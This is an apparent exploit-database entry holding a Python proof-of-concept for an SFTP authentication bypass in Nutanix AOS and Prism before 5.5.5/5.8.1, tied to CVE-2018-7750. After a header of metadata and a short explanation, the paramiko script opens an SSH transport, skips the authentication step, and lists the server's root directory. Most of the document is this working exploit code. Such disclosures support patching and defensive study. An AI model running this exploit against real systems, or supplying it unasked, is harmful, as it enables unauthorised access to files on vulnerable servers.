Nutanix AOS & Prism < 5.5.5 (LTS) / < 5.8.1 (STS) - SFTP Authentication Bypass

# Exploit Title: Nutanix AOS & Prism - SFTP Authentication Bypass
# Date: 2018-10-27
# Exploit Author: Adam Brown
# Vendor Homepage: https://www.nutanix.org
# Software Link: https://www.nutanix.com/products/software-options/
# Version: < 5.5.5 (LTS), < 5.8.1 (STS)
# Tested on: Acropolis Operating System
# CVE : Related to CVE-2018-7750
#
# This PoC is based on discussions found at the following blog post:
#   https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/
# TLDR, the Acropolis SFTP server doesn't check if the client has completed the
# authentication step before allowing the client to open channels. The PoC below
# connects to the acropolis SFTP server, and lists the root directory without
# authenticating.

#!/usr/bin/python
import paramiko

host = '127.0.0.1'
port = 2222

trans = paramiko.Transport((host, port))
trans.start_client()

# If the call below is skipped, no username or password is required.
# trans.auth_password('username', 'password')

sftp = paramiko.SFTPClient.from_transport(trans)
print(sftp.listdir('/'))
sftp.close()